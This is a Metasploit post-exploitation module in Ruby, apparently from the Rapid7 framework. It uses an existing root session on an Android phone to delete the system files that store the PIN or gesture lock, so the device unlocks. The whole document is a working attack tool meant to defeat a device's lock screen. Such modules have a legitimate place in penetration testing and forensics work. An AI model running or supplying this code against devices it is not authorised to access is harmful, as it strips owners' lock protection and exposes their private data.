Android Root Remove Device Locks (root)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Common
  include Msf::Post::Android::Priv

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Android Root Remove Device Locks (root)',
          'Description' => %q{
            This module uses root privileges to remove the device lock.
            In some cases the original lock method will still be present but any key/gesture will
            unlock the device.
          },
          'Privileged' => true,
          'License' => MSF_LICENSE,
          'Author' => [ 'timwr' ],
          'SessionTypes' => [ 'meterpreter', 'shell' ],
          'Platform' => 'android'
        }
      )
    )
  end

  def run
    unless is_root?
      print_error('This module requires root permissions.')
      return
    end

    %w[
      /data/system/password.key
      /data/system/gesture.key
    ].each do |path|
      print_status("Removing #{path}")
      cmd_exec("rm #{path}")
    end

    print_status('Device should be unlocked or no longer require a pin')
  end
end